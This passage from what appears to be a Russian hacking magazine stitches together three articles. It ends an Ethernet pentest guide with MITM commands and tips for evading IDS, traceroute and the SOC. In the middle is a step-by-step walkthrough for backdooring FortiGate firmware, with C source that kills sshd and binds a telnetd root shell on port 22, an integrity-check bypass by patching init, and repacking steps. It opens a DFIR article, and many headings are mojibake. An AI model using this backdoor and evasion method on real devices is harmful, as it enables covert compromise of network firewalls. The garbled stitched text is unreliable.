Так что не будет лишним поискать на порте фреймы 802.1Q, вдруг тебе удас-
тся прыгнуть в остальные VLAN-сегменты. Такие мисконфиги встречаются
на коммутаторах, и ты случайно можешь оказаться на транке. Конечно,
это редкое явление, но я не мог не упомянуть такой вектор.

Пример 802.1Q-тега в кадре

Найти фреймы 802.1Q можно, анализируя трафик с помощью инструмента


HIVE. Достаточно запустить его, указав два аргумента: интерфейс атакующе-
го и время на анализ трафика. После поиска всех тегов инструмент автомати-
чески создаст необходимые виртуальные интерфейсы для прыжка в другие
VLAN-сегменты.

HIVE

Как видишь, HIVE позволил атакующему прыгнуть в четыре сегмента VLAN.


Вектор крайне редкий, но иногда встречается в корпоративных сетях.

LLMNR/NBT-NS Poisoning
Отравление LLMNR/NBT-NS — одна из самых распространенных сетевых
атак. Она позволяет получить учетные данные пользователя Windows
в зашифрованном виде, а также открывает дорогу для проведения атак NTLM
Relay. Чаще всего для отравления запросов LLMNR/NBT-NS используют ути-
литу Responder.
Для такой атаки нужен именно L2-доступ в целевой сети, поскольку зап-
росы данных протоколов распространяются только в рамках широковеща-
тельных доменов. Либо атакующий может просто воткнуть патч-корд в розет-
ку, либо в контексте сценария пивотинга у него есть L2-туннель.
Протокол LLMNR использует мультикастовый адрес 224.0.0.252, в NBNS
применяется широковещательный трафик, проходящий по UDP-порту 137,
а MDNS работает по адресу 224.0.0.251.
Инструмент Above позволит обнаружить в трафике эти протоколы. Если
такое произойдет, то атакующий сможет воспользоваться вектором атаки
LLMNR/NBT-NS Spoong и перехватит учетные данные.

ARP/NBNS-ðàçâåäêà
При запуске ARP-сканирования ты должен иметь в виду, что можешь оказать
большую нагрузку на оборудование, да и система Storm Control подаст сиг-
нал тревоги, если ты превысишь порог допустимого широковещательного
трафика. Когда запускаешь инструмент, проводящий ARP-сканирование,
обязательно настрой его скорость, то есть число пакетов в секунду.
Распространенные инструменты для L2-сканирования — это netdiscover
и nbtscan. Рекомендую внимательно изучить все настройки и стараться
не запускать эти программы в режиме «Халк крушить».
Для netdiscover в качестве первичной разведки хорошо выбирать Passive
ARP: инструмент в автономном режиме будет анализировать все ARP-кадры
вокруг себя и выстраивать список хостов.

sudo netdiscover -i eth0 -p

Результат работы пассивного ARP

Îáíàðóæåíèå äèíàìè÷åñêîé ìàðøðóòèçàöèè


Протоколы динамической маршрутизации используются в каждой крупной
корпоративной сети и при этом часто остаются без внимания с точки зрения
безопасности.
DRP-протоколы используют мультикастовую рассылку, и, чтобы добраться
до пакетов этих протоколов, атакующему необходим именно L2-доступ (либо
физическое подключение к сети, либо L2-туннель после мероприятий
пивотинга). Например, OSPF для мультикастовой рассылки использует
адрес 224.0.0.5, а EIGRP — 224.0.0.10.
Чаще всего DRP-пакеты ходят в пользовательских сегментах банально
из-за того, что не заданы настройки пассивного интерфейса. Когда маршру-
тизатор анонсирует ту или иную сеть, в ту же сеть отправляются эти пакеты
приветствия. Если атакующий доберется до них, то сможет подключиться
к домену маршрутизации, узнать о существовании тех или иных подсетей,
инъекции маршрутов и прочего.

Результат обнаружения EIGRP с помощью Above

Собрав эту информацию, атакующий поймет, что в сети используется


динамическая маршрутизация с небезопасными настройками. Тогда он
может провести атаку на домен. Считай, еще один вектор для атаки изнутри
сети.
Если этих протоколов нет в трафике, значит, в сети нет динамической мар-
шрутизации либо настроены пассивные интерфейсы.

Îáíàðóæåíèå ñèñòåìû ðåçåðâèðîâàíèÿ


FHRP обеспечивают отказоустойчивость на уровне маршрутизации.
Основная идея заключается в том, чтобы объединить несколько маршрутиза-
торов в одну логическую группу. Внутри нее будет виртуальный маршрутиза-
тор с виртуальным IP-адресом, который будет назначаться как адрес шлюза
по умолчанию.
Домен FHRP может подвергнуться спуфинг-атаке против Master-роутера,
приоритет которого менее 255. Атакующий в таком случае сможет стать
«человеком посередине» и перехватывать трафик всей сети, которую обслу-
живают FHRP-спикеры.
В класс FHRP входят следующие протоколы:
• HSRP (Hot Standby Redundancy Protocol);
• VRRP (Virtual Router Redundancy Protocol);
• GLBP (Gateway Load Balancing Protocol).

Как и в случае с DRP-пакетами, для обнаружения FHRP тоже нужен L2-доступ,


и этот протокол тоже использует мультикастовую рассылку:
• HSRP: 224.0.0.2, для второй версии 224.0.0.102 (UDP/1985);
• VRRP: 224.0.0.18;
• GLBP: 224.0.0.102 (UDP/3222).

Информация о присутствии HSRP

Информация о присутствии VRRP

Таким образом атакующий получает информацию о системе резервирования


маршрутизации и может провести атаку.

MITM

MITM-атаки внутри инфраструктуры самые мощные по импакту. MITM не толь-


ко позволяет перехватывать учетные записи, но и открывает возможность
для Relay-атак. Но MITM одновременно и самая опасная атака с точки зрения
возможности нарушить работу сети. Она не прощает ошибок. Я дам несколь-
ко советов, которые позволят проводить MITM более аккуратно.

Ìîùíîñòü æåëåçà
Позаботься о мощности своего железа, оно должно быть готово к тому, что
через него пойдет трафик нескольких десятков легитимных хостов. Это каса-
ется и твоего интерфейса. Если ты собираешься спуфить хосты с гигабитным
интерфейсом, а у тебя коннект 100 Мбайт/с, то скорость сети серьезно пос-
традает и может произойти коллапс. Пользователи быстро заметят, что сеть
стала зависать, и позовут сисадминов, а те (если не зря получают зарплату)
поймут, в чем дело. Так пентест перестанет быть секретом, и придется крас-
неть перед админами.
Вот рекомендованные параметры железа:
• центральный процессор от четырех ядер;
• оперативная память от 8 Гбайт;
• сетевой интерфейс с полным дуплексом, 1 Гбит/с и выше. Хорошо, если
выйдет подключить Ethernet-адаптер через высокоскоростной интерфейс
Thunderbolt 3/4.

Однако, скорее всего, ты упрешься в возможности порта коммутатора,


к которому ты подключен. Если там линк в 1 Гбит/с, выше этого ты прыгнуть
не сможешь. Обязательно следи за поведением сети.

Ðàçðåøåíèå ìàðøðóòèçàöèè
Главное правило MITM — разрешить маршрутизацию трафика со своей сто-
роны:

sudo sysctl -w net.ipv4.ip_forward=1

Иначе при атаке легитимный трафик будет упираться в твой хост и дальше он
не пройдет, а это DoS, то есть видимый признак атаки. И снова пентест
перестанет быть секретом.

Ïîòåíöèàëüíûé Storm Control


Если на порте атакующего есть Storm Control с контролем трафика
UCAST/MCAST/BCAST, может сработать тревога оборудования, потому что
порт атакующего при MITM начнет обрабатывать гораздо больше трафика,
чем ожидалось по настроенному THRESHOLD. Имей в виду!

Îáõîä òðàññèðîâêè (TTL Shift)


Смещение TTL в таблице mangle поможет спрятать IP-адрес атакующего
из трассировки пакетов. MITM-атаки создают избыточный хоп, и если провес-
ти трассировку со стороны легитимной машины, то IP-адрес атакующего ока-
жется в самой трассировке. Такой расклад событий SOC точно не оценит.

sudo iptables -t mangle -A PREROUTING -i eth0 -J TTL --ttl-inc 1

Âîññòàíîâëåíèå ARP-òàáëèöû ïîñëå àòàêè


Твой инструмент обязательно должен генерировать обратные IS-AT-кадры,
которые восстанавливают состояние ARP-таблиц хостов еще до атаки.
Это очень важный момент. Хост или сервис могут и не запросить ARP, они
будут думать, что ты все еще их шлюз. А это DoS. Это очень важный момент,
который стоит учитывать. Кстати говоря, Ettercap и Arpspoof отлично делают
эту работу, а по окончании генерируют необходимые IS-AT-кадры и восста-
навливают структуру ARP-таблиц хостов.

ICMP Redirect
Во время MITM-атаки твоя машина может генерировать пакеты ICMP
Redirect, что встревожит IDS/IPS, поэтому обязательно выключай на своей
стороне сообщения ICMP Redirect в sysctl.conf.

sudo sysctl -w net.ipv4.conf.all.send_redirects=0


sudo sysctl -w net.ipv4.conf.eth0.send_redirects=0

Êîíôèãóðàöèÿ NAT
Одно из главных правил MITM — настройка NAT. Обычно атакующие обходят-
ся одной командой:

sudo iptables -t nat -A POSTROUTING -o eth0 -J MASQUERADE

Без настройки NAT атакующий не сможет увидеть вторую часть трафика,


в которой потенциально могут находиться учетные данные. Это происходит
из-за асимметричной маршрутизации — когда трафик идет одним путем,
но возвращается другим. Благодаря маскарадингу асимметричная маршру-
тизация не помешает атакующему видеть трафик, идущий в обе стороны.

Ìîäóëü nf_conntrack äëÿ ïðîòîêîëîâ No NAT Friendly


Сквозь тебя может ходить трафик FTP, H.323 и SIP. Это протоколы No NAT
Friendly, и тебе понадобится модуль nf_conntrack, чтобы они работали с NAT.
При MITM атакующий должен включить NAT, чтобы видеть трафик, идущий
в обе стороны.

sudo modprobe nf_conntrack

Âûáîð ìàñîê ïîäñåòåé ïðè ARP Spoofing


При проведении ARP-спуфинга следи за маской подсети, с которой собира-
ешься работать. Если ты возьмешь слишком большую маску, твое железо
может просто не выдержать нагрузки и возникнет DoS.

Îñîáåííîñòü àòàêè ïðè STP (MITM)


Присутствие STP-кадров внутри сети — одно из самых частых явлений
при анализе трафика. Существуют атаки на протокол STP, связанные с инъ-
екцией BPDU-кадров. Например, чтобы провести MITM, нужно отправить
в ответ BPDU-кадр с наименьшим значением приоритета. Тогда компьютер
атакующего получит роль корневого коммутатора.
Однако на деле не все так просто. При эксплуатации STP ты получишь
только частичную MITM, так как не весь трафик будет ходить через корневой
коммутатор. Поэтому в таких случаях не рассчитывай на большой поток тра-
фика.

ETHERNET-ÒÓÍÍÅËÈ ÏÐÈ ÏÈÂÎÒÈÍÃÅ

Пентестерам иногда нужно проводить атаки канального уровня. Например,


применить тот же Responder, чтобы перехватить учетные данные. Атакующий
эскалирует свое присутствие в сети с помощью пивотинга, однако для про-
ведения атак канального уровня ему необходимы именно L2-туннели. L2-тун-
нелирование применимо при пивотинге, если атакующему требуется L2-дос-
туп до целевых хостов.
Существует два вида VPN-интерфейсов:
• TAP — виртуальный сетевой драйвер, который эмулирует Ethernet. Работа-
ет на канальном уровне, оперируя Ethernet-кадрами;
• TUN — виртуальный сетевой драйвер, который используется для постро-
ения L3-туннелей. Работает на сетевом уровне, оперируя IP-пакетами.

Если атакующий стремится к атакам канального уровня в целевой сети, ему


нужно использовать именно TAP-интерфейсы, с которыми он будет строить
L2-туннель. Для этого есть много способов, начиная с SSH и OpenVPN
и заканчивая более экзотическими вещами, такими как EoIP, GRETAP, L2TPv3,
VXLAN. Пентестер может строить туннели как угодно, но я расскажу о двух
главных нюансах.
Перед тем как пробросить L2-туннель, прописывай явный маршрут
/32 до целевого хоста, с которым будешь устанавливать туннель. Без этого
маршрута при получении адреса на L2-интерфейсе может возникнуть разрыв
туннеля, так как туннель будет перекрывать маршрут до хоста. Команда нес-
ложна — просто пропиши этот маршрут через свой умолчательный шлюз:

sudo ip route add X.X.X.X/32 via X.X.X.X

Атакующий обеспечивает себя L2-туннелем с помощью специальных вир-


туальных интерфейсов. Но чтобы взаимодействовать с целевой сетью, необ-
ходимо сначала получить адрес. Обычно атакующий узнает его с помощью
DHCP, однако по DHCP может прилететь другая информация о шлюзе, что
способно негативно повлиять на сетевую связность. Поэтому, когда получа-
ешь адрес на L2-интерфейсе при пивотинге, сразу же второй командой уда-
ляй прилетевший умолчательный маршрут:

sudo dhclient -v tap0; sudo route del default

Итак, мы с тобой разобрались в особенностях Ethernet-пивотинга: какие пра-


вила хорошего тона нужно применять, чтобы добиться успеха при эксплуата-
ции L2.

ÒÀÁËÈÖÀ ÂÅÊÒÎÐÎÂ

Я сделал небольшую матрицу самых эффективных атак канального уровня,


от которых есть ощутимый импакт.

Атак канального уровня, конечно же, гораздо больше, но я выбрал самые тол-
ковые и эффективные векторы, от которых будет польза. Никаких DoS и про-
чих сомнительных вещей.

ÂÛÂÎÄÛ

В этой статье я изложил основные моменты при пентесте Ethernet. Этой тех-
нике уже несколько десятков лет, но она по-прежнему применяется на пен-
тестах при внутреннем анализе защищенности. Надеюсь, что этой статьей я
смогу подарить несколько новых техник для пентестеров, а администраторы
сетей повысят осведомленность.
ВЗЛОМ

Как известно, даже инструменты для обес-


печения сетевой безопасности могут иметь
серьезные уязвимости. В этой статье мы
PURGENTX
разберем, как злоумышленник может взло- Реверс-инженер
лаборатории инновационных
мать межсетевой экран FortiGate и уста- технологий
и кибербезопасности
новить в его прошивке бэкдор. AP Security

Эта история начинается с того, что однажды я прочитал ресерч на CVE-2022-


42475, в котором происходит переполнение кучи. Уязвимость приводит
к выполнению произвольного кода. Я решил попробовать реализовать PoC,
но мне помешало отсутствие лицензии. Перед тем как реализовывать этот
PoC, необходимо установить бэкдор на FortiGate с использованием уяз-
вимости CVE-2019-5587. В статье я расскажу, как сделать этот бэкдор и как
он работает.

Статья имеет ознакомительный характер и пред-


назначена для специалистов по безопасности,
проводящих тестирование в рамках контракта.
Автор и редакция не несут ответственности
за любой вред, причиненный с применением
изложенной информации. Распространение вре-
доносных программ, нарушение работы систем
и нарушение тайны переписки преследуются
по закону.

FortiGate — межсетевой экран с возможностью маршрутизации нового


поколения. Он включает в себя большинство традиционных сервисов, таких
как проверка трафика, антивирус, VPN, системы предотвращения вторжений,
и другие функции обеспечения безопасности. Для демонстрации уязвимости
и дальнейших исследований необходимо подготовить стенд с использовани-
ем FortiGate.

ÃÎÒÎÂÈÌ ÑÒÅÍÄ

Для ресерча была выбрана версия FortiGate VM64 v6.4.5 build1828 (GA).
Стенд разворачиваю на VMware ESXI, а образы маршрутизатора должны
иметь расширения .out, .ovf, .zip.
После распаковки архива мы получим следующие файлы.

В дальнейшем для реверса и исследования бинарей нам понадобится диск


виртуальной машины fortios.vmdk.
В VMware ESXI нужно импортировать существующую виртуальную машину,
поэтому следует выбрать режим Create/Register VM, а затем — Deploy a
virtual machine from an OVF or OVA file.

Теперь надо указать следующие файлы для загрузки виртуальной машины:


• datadrive.vmdk — системный жесткий диск FortiGate;
• FortiGate-VM64.ovf — виртуальная машина;
• fortios.vmdk — файловая система и сама начинка FortiGate.

Имя у виртуалки может быть произвольным, я назвал ее просто FortiGate.

Перейдем к настройкам сети. Все сетевые адаптеры, кроме первого, вык-


лючим, потому что будем работать только с одним. Также изменим
интерфейс с [pt]Network на VM Network. Это нужно, чтобы виртуальная
машина находилась с нами в одной сети.

Запускаем виртуальную машину, вводим логин — admin, пароль — Enter,


после чего новый пароль необходимо придумать.

По умолчанию FortiGate настроен на использование в качестве NTP-сервера.


Необходимо отключить NTP-синхронизацию для перехода в пробный режим.

NTP — сетевой протокол для синхронизации внут-


ренних часов компьютера посредством исполь-
зования сетей с переменной латентностью.

config system ntp


set ntpsync disable
set type custom
end

Здесь
• config system ntp — команда для входа в режим конфигурирования
NTP;
• set ntpsync disable — команда для отключения синхронизации
с NTP-сервером;
• set type custom — команда для установки NTP-сервера, который ука-
зывается вручную.

Теперь настало время настроить маршрутизатор. Настраивать будем удален-


ное подключение и доступ к веб-интерфейсу фортика.

ÓÄÀËÅÍÍÎÅ ÏÎÄÊËÞ×ÅÍÈÅ

Настраивать SSH, HTTP, HTTPS, Telnet будем в CLI FortiGate. Для удаленного
подключения нужно настроить интерфейс, который мы оставили включенным:

config system interface


edit port1
set mode static
set role lan
set allowaccess http https telnet ssh ping
set ip 192.168.0.217/24
show
end

Здесь
• config system interface — команда для входа в режим конфигура-
ции интерфейса;
• edit port1 — команда для конфигурации определенного интерфейса;
• port1 — условное обозначение интерфейса;
• set mode static — команда для установки статического адреса. Чтобы
настроить DHCP, нужно вместо static написать DHCP, и тогда IP-адреса
будут установлены автоматически;
• set role lan — команда для установления роли и интерфейса.
В FortiGate есть четыре роли:
• роль lan означает, что интерфейс используется для подключения
к локальной сети;
• роль wan означает, что интерфейс используется для подключения
к интернету;
• роль dmz означает, что интерфейс используется для подключения
к серверам;
• роль undefined означает, что интерфейс не имеет конкретной роли;
• set allowaccess http https telnet ssh ping — команда
для доступа к управлению с использованием https, http, telnet, ssh,
ping;
• set ip 192.168.0.217/24 — команда для установки IP-адреса и маски
подсети;
• show — команда, которая показывает все настройки интерфейса;
• end — команда для завершения настройки.

Вот так выглядит результат работы команды show.

Теперь настраиваем статическую маршрутизацию для доступа из других


сетей к Web и CLI:

config router static


edit 1
set gateway 192.168.0.255
set device port1
set dst 0.0.0.0 0.0.0.0
set status enable
next
end

Здесь
• config router static — команда для конфигурации статических мар-
шрутов;
• edit 1 — команда настройки нумерации с неиспользуемого номера;
• set gateway 192.168.0.255 — команда для установки адреса шлюза;
• set device port1 — команда для установки интерфейса;
• set dst 0.0.0.0 0.0.0.0 — команда для установки места наз-
начения;
• set status enable — команда для включения статической маршру-
тизации;
• end — команда для завершения настройки.

Команда get router info routing-table all нужна для проверки нас-
тройки статической маршрутизации:

S* 0.0.0.0/0 [10/0] via 192.168.0.255, port1


C 192.168.0.0/24 is directly connected, port1

Этот вывод говорит о том, что для всех устройств, находящихся в сети, шлюз
по умолчанию будет 192.168.0.255, а значит, настройка статической мар-
шрутизации прошла успешно.
После этого подключаемся к веб-интерфейсу через браузер по адресу
192.168.0.217. Логин и пароль используй такой же, как и при подключении
к командной строке.

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ВЗЛАМЫВАЕМ FORTIGATE
И УСТАНАВЛИВАЕМ БЭКДОР

ÏÎËÓ×ÀÅÌ ÁÝÊÄÎÐ

После успешной подготовки стенда настало время для бэкдора. Зайдем


в директорию с образом виртуальной машины и виртуальными дисками
FortiGate. В моем случае виртуальный диск называется forti_6_4_5-disk1.
vmdk.

Дальше наступает часть монтирования и отравления rootfs.gz. Монтирова-


ние выполняется следующим образом:

sudo modprobe nbd max_part=16


sudo mkdir /mnt/fortios
sudo qemu-nbd -r -c /dev/nbd1 ./forti_6_4_5-disk1.vmdk
sudo mount /dev/nbd1p1 /mnt/fortios

Здесь
• sudo modprobe nbd max_part=16 — команда подготовки для мон-
тирования статического VDI-образа;
• sudo mkdir /mnt/fortios — команда для создания директории /mnt/
fortios;
• sudo qemu-nbd -r -c /dev/nbd1 ./forti_6_4_5-disk1.vmdk —
команда для экспорта образа диска QEMU, с использованием протокола
NBD:
• -r — ключ означает экспорт диска только для чтения;
• -c — ключ означает подключение файла c указанным именем к папке
/dev устройства NBD;
• sudo mount /dev/nbd1p1 /mnt/fortios — команда для монтирова-
ния диска.

NBD (Network Block Device) — сетевой протокол,


который можно использовать для пересылки
блочного устройства (обычно жесткого диска
или раздела) с одного компьютера на другой.
Например, локальный компьютер может получить
доступ к жесткому диску, подключенному к дру-
гому компьютеру. В нашем случае протокол
используется для подключения виртуального жес-
ткого диска к компьютеру. QEMU умеет экспор-
тировать виртуальный образ диска, используя
протокол NBD.

В результате forti_6_4_5-disk1.vmdk успешно монтируется к нашему


компьютеру.

В rootfs.gz содержится ОС FortiOS, которую мы будем исследовать. Однако


перед распаковкой rootfs.gz нужно узнать его контрольную сумму CRC-
32 из файла filechecksum, потому что в версиях FortiGate выше 6.0.5 про-
веряется целостность не только архива, но и файлов внутри него. Если про-
верка filechecksum не проходит, машина просто откажется запускаться.
Теперь распаковываем архив с использованием утилит gzip и cpio:

gzip -d rootfs.gz
sudo cpio -idv < rootfs

Архиватор gzip, думаю, тебе знаком — это утилита сжатия и восстановления


файлов, использующая алгоритм Deate. А cpio — это двоичный архиватор,
который позволяет собирать любое число файлов, директорий и других объ-
ектов файловой системы (символических ссылок и прочего) в единый поток
байтов.
Командой gzip -d rootfs.gz мы распаковываем rootfs.gz, при этом
ключ -d означает распаковку файла.
Командой sudo cpio -idv < rootfs копируем файлы из архива. Здесь
• ключ -i используется для выборки файлов из стандартного входного
потока;
• ключ -d используется для создания каталогов при необходимости;
• ключ -v используется для выдачи дополнительной информации (список
имен обрабатываемых файлов).

После этих манипуляций мы получаем полную файловую систему прошивки


FortiGate.

Нас интересует архив bin.tar.xz, потому что в нем содержатся бинари init
и smartctl:
• /bin/init — программа, которая запускает систему и управляет ею;
• /bin/smartctl — инструмент командной строки для управления сис-
темой SMART, встроенной в большинство жестких дисков ATA/SATA
и SCSI/SAS и твердотельных накопителей.

Файл bin.tar.xz упакован измененными архиваторами xz и tar, которые


находятся в директории /sbin. Распаковывать я его буду этими же изменен-
ными утилитами.
Командой sudo chroot . sbin/xz --check=sha256 -d bin.tar.xz
(эта команда меняет корневой каталог) избавимся от архива, созданного
архиватором xz. Здесь
• --check — ключ для проверки целостности, поддерживает четыре типа
проверки:
• none — не рассчитывает проверку целостности;
• crc32 — рассчитывает CRC-32, используя полином из IEEE-802.3;
• crc64 — рассчитывает CRC-64, используя полином из ECMA-182;
• sha256 — рассчитывает SHA-256;
• -d — ключ для распаковки.

Командой sudo chroot . /sbin/ftar -xf bin.tar избавимся от второго


архива, созданного архиватором tar, где
• ключ -x используется для извлечения файлов из архива;
• ключ -f используется для указания имени архива.

Таким образом мы получим директорию /bin и наконец-то разберемся


с бинарями init и smartctl.

Для получения нормального шелла я использовал программу BusyBox 1.36.0,


которую скомпилировал статически. Статическая компиляция нужна потому,
что в этой прошивке могут использоваться специфические или измененные
стандартные библиотеки. Так, при динамической линковке бинарь просто
не поймет, откуда ему брать функции и к чему обращаться. В статической
компиляции все функции, которые используются в программе, находятся
непосредственно в ней. Программа становится независимой от библиотек,
но прибавляет в весе.

BusyBox — набор UNIX-утилит командной строки,


используемый в качестве основного интерфейса
во встраиваемых операционных системах. Пре-
имущества этого приложения в малом размере
и низких требованиях к аппаратуре.

BusyBox я скачал с официального сайта. После распаковки нужно выполнить


команду make menuconfig, с помощью которой будет скомпилирован
busybox. Во время сборки откроется окно настройки компиляции. Для ста-
тической компиляции выбирай вариант Settings → Build Options, а затем
Build static binary (no shared libs).

Также надо убрать звездочку напротив пункта sync для отключения синхро-
низации с файловой системой.

После сборки мы получим бинарный файл busybox.

ÓÑÒÀÍÀÂËÈÂÀÅÌ ÁÝÊÄÎÐ

Далее план такой:


1. Скопируем бинарь busybox в директорию /bin прошивки FortiGate.
2. Удалим символическую ссылку sh, которая указывает на /bin/sysctl,
и переназначим ее на только что скомпилированный busybox. Таким
образом мы добьемся вызова busybox при обращении к sh.
3. Напишем малварь, которая создаст бэкдор и откроет удаленный доступ
к файловой системе FortiGate.
4. Заменим smartctl нашим бэкдором. Мы заменим именно этот бинарь,
потому что к нему можно обратиться непосредственно из CLI FortiGate
командой diagnose hardware smartctl. Эта команда используется
для управления системой хранения данных FortiWAN с использованием
стандартной утилиты smartctl.

Øàã 1
Копируем busybox в каталог /bin и даем ему все права:

sudo cp busybox $PWD/root_dir/bin


cd $PWD/root_dir/bin
sudo chmod 777 busybox

Øàã 2
Удаляем символическую ссылку sh (sh->/bin/sysctl) и добавляем новую:

sudo rm -rf sh
sudo ln -s /bin/busybox sh

Теперь символическая ссылка sh указывает на busybox, а это означает, что


у нас есть почти полноценный шелл.

Øàã 3
Cоздаем бэкдор, который открывает подключение по Telnet:

# include <stdio.h>
void shell() {
system("/bin/busybox ls", 0, 0);
system("/bin/busybox id", 0, 0);
system("/bin/busybox killall sshd && /bin/busybox telnetd -l /
bin/sh -b 0.0.0.0 -p 22", 0, 0);
return;
}

int main(int argc, char const *argv[]) {


shell();
return 0;
}

Программа выводит все файлы, которые находятся в директории, командой /


bin/busybox ls. После этого мы определяем свой uid командой /bin/
busybox id. Далее убиваем все подключения по SSH и открываем доступ
по протоколу Telnet через 22-й порт, на котором уже имеется доступ к шеллу
/bin/sh, где sh->busybox:

/bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22

Компилируем программу статически по той же причине, что и busybox:

gcc backdoor.c -static -o backdoor

Øàã 4
Теперь удаляем smartctl и заменяем его своим бинарным файлом:

sudo rm ./bin/smartctl
sudo cp backdoor ./bin/smartctl

По сути, мы удалили программу с названием smartctl и создали копию


бинаря backdoor с названием smartctl.

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ВЗЛАМЫВАЕМ FORTIGATE
И УСТАНАВЛИВАЕМ БЭКДОР

ÊÎÂÛÐßÅÌ ÏÐÎØÈÂÊÓ È ËÎÌÀÅÌ ÊÎÍÒÐÎËÜÍÓÞ ÑÓÌÌÓ


ÔÀÉËÎÂÎÉ ÑÈÑÒÅÌÛ

Все проверки и работа FortiOS основываются на бинаре init. Для проверки


этого высказывания введем команду grep -rnl "System is starting",
чтобы найти строку System is starting..., потому что с нее начинается
работа прошивки.

В общем виде команда поиска выглядит следующим образом:

grep -rnl "System is starting"

Здесь
• -r — ключ для поиска строки во всех файлах в каждом каталоге рекур-
сивно, следуя символическим ссылкам;
• -n — ключ для поиска каждой строки вывода с номером строки;
• -l — ключ для вывода имени каждого входного файла, в котором содер-
жится строка.

Полностью команда поиска выглядит так:

$ grep -rnl "System is starting"


/bin/init

Таким образом, можно сделать вывод, что проверка контрольной суммы


будет выполняться в программе init. Для реверса бинаря я использовал IDA
Pro. И первое, что следует найти, — строка System is starting.

Перейдем по перекрестным ссылкам и попадем в функцию main().

Теперь найдем строку, которая говорит нам о том, что система останов-
лена, — The system is halted. Такое сообщение выводится, если провер-
ка контрольной суммы не пройдена. Находим строку и по перекрестным
ссылкам отыскиваем этот участок кода, который выполняет перезагрузку сис-
темы.

Можно найти вызов этой функции в функции main().

В функции main() присутствует два вызова функции do_halt(). Первый


из них зависит не от контрольной суммы, а от форка процесса и других сис-
темных вызовов.

Второй вызов функции do_halt() имеет непосредственное отношение


к проверке чек-суммы. Для доказательства этого я нашел функцию, которая
проверяет содержимое файла с контрольной суммой.

Внутри этой функции открывается на чтение файл и из него извлекаются дан-


ные с целью проверки системы.

В функции find_checksum() путем выполнения операции XOR определяется


название файла.

Напишем простой декриптор для проверки:

filename = 'aiqu0oZi'
key = [0x4E,0x47,0x17,0x12,0x44,0x1C,0x2F,0x04]
for i in range(len(filename)):
print(chr(ord(filename[i])^key[i]), end = '')

Получим такую строку:

/.fgtsum

Этот файл можно найти в корневом каталоге, поэтому очевидно, что рассмот-
ренная нами функция использует файл для реализации некоторой проверки
системы.
Чтобы обойти эту проверку, нужно либо заменить в функции do_halt()
первую инструкцию инструкцией ret, чтобы функция ничего не выводила,
либо предотвратить перезагрузку при неудачной проверке. Я выбрал второй
вариант, поэтому в бинарном файле init исправил JZ на JNZ в переходе
на функцию do_halt().

Таким образом у нас получилось обмануть прошивку с проверкой контроль-


ной суммы, и наш бэкдор сработает.

В более новых прошивках система безопасности


была обновлена и такой обход может не сра-
ботать. В этом случае будет проверяться еще и
внешний файл filechecksum, который тоже
находится на виртуальном диске forti_6_4_5-
disk1.vmdk вместе с rootfs.gz. Необходимо
будет вычислить CRC-32 нового rootfs.gz
и заменить его в этом файле.

ÑÎÁÈÐÀÅÌ ÂÑÅ ÎÁÐÀÒÍÎ

Теперь соберем все в один архив:

sudo chroot . /sbin/ftar -cf bin.tar ./bin


sudo chroot . /sbin/xz --check=sha256 -e bin.tar
sudo su root
find . -path './bin' -prune -o -print | cpio -H newc -o > ../rootfs.
raw
cat ../rootfs.raw | gzip > ../rootfs.gz

После сборки я получил отравленный rootfs.gz и заменил rootfs.gz в при-


монтированном образе forti_6_4_5-disk1.vmdk. Теперь осталось только
заменить оригинальный диск модифицированным.

ÏÐÎÂÅÐÊÀ ÁÝÊÄÎÐÀ

После создания бэкдора необходимо немного отредактировать настройки.


Троян заменяет порт SSH, поэтому настройки стенда теперь такие:

config system interface


edit port1
set mode static
set role lan
set alias LAN
set allowaccess http https ssh ping
set ip 192.168.0.216/24
show
end

Проверяем работу бэкдора. Для этого надо подключиться по Telnet c исполь-


зованием следующей команды:

telnet XXX.XXX.XXX.XXX 22

Вместо XXX.XXX.XXX.XXX укажи IP-адрес FortiGate.

Подключение выполнено, а значит, наш бэкдор работает!

ÂÛÂÎÄÛ

Показанный в статье эксперимент дает возможность прокачать навыки


в реверс-инжиниринге и исследовании прошивок устройств наподобие меж-
сетевых экранов. Однако навыки полезны только тогда, когда их можно при-
менить на практике. Реализовав бэкдор в прошивке FortiGate, можно крякнуть
лицензию и реализовать уязвимость CVE-2022-42475. Но об этом — в другой
раз.
ВЗЛОМ

Первый этап реагирования на ИБ-инци-


дент — это обработка событий и поиск
в них артефактов. Затем специалист строит
таймлайны и определяет вектор и время
атаки. В этой статье мы поговорим об инс- Антон Кузнецов
Ресерчер, энтузиаст,
трументах, которые облегчают этот труд работаю в ИБ
@RussianF0rensics
и помогают в расследовании, в особен-
ности когда данных очень много.

Иногда быстро отделить зерна от плевел просто. Достаточно воспользовать-


ся подручными средствами или утилитами вроде EvtxECmd и Timeline Explorer.
Но бывает, что задача серьезнее: событий на входе много, и обработать
такой объем данных быстро или найти вектор (и, что часто сложнее, опре-
делить время инцидента) довольно трудно. Больно смотреть на ИБ-спе-
циалистов, которые используют для таких задач нативные инструменты, нап-
ример предустановленный журнал просмотра событий Windows.
Вместо этого стоит вооружиться чуть более продвинутыми инструмен-
тами. Давай разберем несколько утилит и их особенности, а заодно пос-
мотрим на них в действии — на примерах событий журналов Windows версий
старше 7.
Знакомиться будем со следующими утилитами для Threat Hunting и Incident
Response:
• DeepBlueCLI;
• Chainsaw;
• Yamato Security Tools:
• Hayabusa;
• Takajo.

SIGMA

О Sigma-правилах и их структуре уже написана не одна статья, поэтому очень


коротко: Sigma — опенсорсный проект, который ведется с 2017 года и поз-
воляет писать правила (сигнатуры) для обнаружения вредоносной активнос-
ти. Сейчас общедоступные правила покрывают более 3 тысяч техник и тактик
атакующих. Обнаружение вредоносной активности в инструментах, о которых
мы будем говорить (кроме DeepBlueCLI), тоже основано на Sigma-правилах.
Они позволяют быстро находить аномалии и вредоносную активность в боль-
шом количестве событий. Прежде чем приступать к утилитам, скачаем Sigma-
правила:

git clone https://github.com/SigmaHQ/sigma

DEEPBLUECLI

Начнем, пожалуй, с самого простого из выбранных инструментов.


DeepBlueСLI — модуль PowerShell, разработанный Эриком Конрадом
для поиска угроз в журналах событий Windows. В отличие от других инстру-
ментов в этой статье, механизм обнаружения здесь основан не на Sigma-
правилах, а на обычных проверках наличия тех или иных артефактов
и количестве срабатываний для определенных событий (например, попыток
неуспешного входа).
На основе этих данных можно обнаруживать, например, подозрительные
манипуляции с учетной записью (создание, добавление в группы, password
spraying и прочее).

